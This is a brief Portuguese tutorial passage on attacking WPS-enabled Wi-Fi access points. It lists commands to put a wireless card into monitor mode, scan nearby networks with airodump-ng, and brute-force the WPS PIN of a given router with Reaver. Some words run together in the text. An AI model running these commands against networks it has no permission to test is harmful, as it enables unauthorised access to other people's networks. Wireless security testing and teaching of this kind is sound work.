Secured Access Points

Tradicionalmente, tentativas de força bruta online têm sido utilizadas para recuperar o PIN WPS e WPA-PSK. No entanto, nos últimos anos, os fabricantes se tornaram mais sábios em relação a esses ataques.

• Vamos primeiro habilitar o modo monitor usando o iwcomando e adicionar uma nova interface chamada mon0monitor mode

iw dev wlan0 interface add mon0 type monitor

ifconfig mon0 up

iwconfig

• Então, podemos usar o recurso airodump-ngpara escanear continuamente o status do WPS de redes próximas

airodump-ng mon0 --wps -c 1

• Em um novo terminal, podemos iniciar a tentativa de força bruta na rede WiFi disponível

reaver -i mon0 -c 1 -b 86:53:10:C3:1B:26 -v